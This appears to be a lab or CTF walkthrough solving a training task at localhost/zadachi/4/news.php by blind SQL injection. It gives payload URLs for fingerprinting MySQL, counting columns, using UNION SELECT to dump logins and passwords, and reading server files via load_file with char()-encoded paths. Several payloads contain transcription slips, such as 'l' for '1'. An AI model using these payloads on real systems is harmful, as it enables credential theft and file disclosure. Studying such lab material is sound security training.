Task 4

Notice that the script takes and processes the id GET parameter. Test how the script responds to various values of this parameter:

• http://localhost/zadachi/4/news.php?id=1

• http://localhost/zadachi/4/news.php?id=12

• http://localhost/zadachi/4/news.php?id=12'

• http://localhost/zadachi/4/news.php?id=lab2

• http://localhost/zadachi/4/news.php?id=./1

These requests allow you to infer either that the id parameter is filtered appropriately and there is vulnerability or that the error messages are disabled.

Check for SQL injection, assuming that error messages are disabled:

• http://localhost/zadachi/4/news.php?id=2-1

• http://localhost/zadachi/4/news.php?id=2-Cos(0)

• http://localhost/zadachi/4/news.php?id=2-Cos(1)

As you can see, SQL injection is likely.

Investigate the query type. If there is the vulnerability, the request with id=1 ' will return an SQL error, and the request with id=l0 will return an empty result.

The pages generated by the system as responses to these requests are identical, so you cannot know whether an error happened or an empty result was returned.

This makes exploitation of the vulnerability difficult but possible.

First, clear up the type and version of the database.

The http://localhost/zadachi/4/news.php?id=2/*!40000+-1*/ request returns good news: This is MySQL database server 4.0 or later.

The http://localhost/zadachi/4/news.php?id=2/*!41000+-1*/ request allows you to conclude that the server version is earlier than 4.1. You could find the exact version of the database server, but the information that it is 4.0.x.x is enough.

The specifics of the task prompt you that the SELECT query is most likely.

The http://localhost/zadachi/4/news.php?id=2/* request returns an empty page, indicating there are parentheses before the embedded value. Count the unmatched opening parentheses preceding the embedded value:

• http://localhost/zadachi/4/news.php?id=2/*

• http://localhost/zadachi/4/news.php?id=2)/*

• http://localhost/zadachi/4/news.php?id=2))/*

Because the second request returns a nonempty page, there is just one opening parenthesis preceding the place, in which you can embed code into the SQL query.

Test how the system responds to apostrophes and quotation marks in queries:

• http://localhost/zadachi/4/news.php?id=2)+AND+1/*

• http://localhost/zadachi/4/news.php?id=2)+AND+1=1/*

• http://localhost/zadachi/4/news.php?id=2)+AND+'1'='1'/*

• http://localhost/zadachi/4/news.php?id=2)+AND+"1"="1"/*

Because only the first and second requests return correct results, apostrophes and quotation marks are filtered. Most likely, they are screened with backslashes.

The value of the id parameter inserted into the SQL query isn't between apostrophes or quotation marks. In other words, the query looks as follows :

 SELECT ... FROM ... WHERE ... ( ... id=$id ... ) ... 

Count the columns returned by the query:

• http://localhost/zadachi/4/news.php?id=2)+union+select+null/*

• http://localhost/zadachi/4/news.php?id=2)+union+select+null,null/*

• http://localhost/zadachi/4/news.php?id=2)+union+select+null,null,null/*

The last request returns an error; therefore, the query returns three columns. Clear up which columns are displayed on the page:

http://localhost/zadachi/4/news.php?id=999999)+union+select+111,222,3333/*

So, the second column returns the news headline, and the third returns the test.

You can suppose that the data type of the news text is Text and that it can contain a large amount of data. Therefore, it would be best to output large amounts of data (e.g., the contents of files) to the third column.

Test how many rows are displayed:

http://localhost/zadachi/4/news.php?id=1)+union+select+111,222,3333/*

You could suppose that this request would return two rows. However, only one is displayed. To obtain multiple rows, you need to use the LIMIT Construction.

Well, now you have enough information to create requests exploiting the vulnerability:

• http://localhost/zadachi/4/news.php?id=99)+union+select+l, name ,pass+from+passwords+limit+0,1/*

• http://localhost/zadachi/4/news.php?id=99)+union+select+l,name,pass+from+passwords+limit+1,1/*

• http://localhost/zadachi/4/news.php?id=99)+union+select+l,name,pass+from+passwords+limit+2,1/*

• http://localhost/zadachi/4/news.php?id=99)+union+select+l,name,pass+from+passwords+limit+3,1/*

• http://localhost/zadachi/4/news.php?id=99)+union+select+l,123,count(*)+from+passwords/*

The first three requests return the logins and the passwords stored in the passwords table. An empty page returned to the fourth query allows you to infer that all the rows of the passwords table were returned. The last request confirms that all the three records of the table were read correctly.

Now, you just need to obtain the contents of the  NEWS.PHP and  INDEX.PHP files. They are located in the /LOCALHOST/ZADACHI/4/ directory on the hard disk.

To obtain their contents, you can use the load file() function. Because apostrophes and quotation marks are filtered, you should use the char() function as an argument for the load_file() function. The char() function's arguments should be the ASCII codes of the string containing the path to the file.

Create the following requests:

• http://localhost/zadachi/4/news.php?id=99)+union+select+1,1,load_file(char(47, 108,111,99,97,108,104,111,115,116,47,122,97,100,97,99, 104,105,47,52,47,105,110,100,101,120,46,112,104,112))/*

• http://localhost/zadachi/4/news.php?id=99)+union+select+1,1,load_file(char(47,108,111,99,97,108,104,111,115,116,47,122,97,100,97,99, 104,105,47,52,47,110,101,119,115,46,112,104,112))/*

As a result, you can read the contents of the target files.

The task is solved .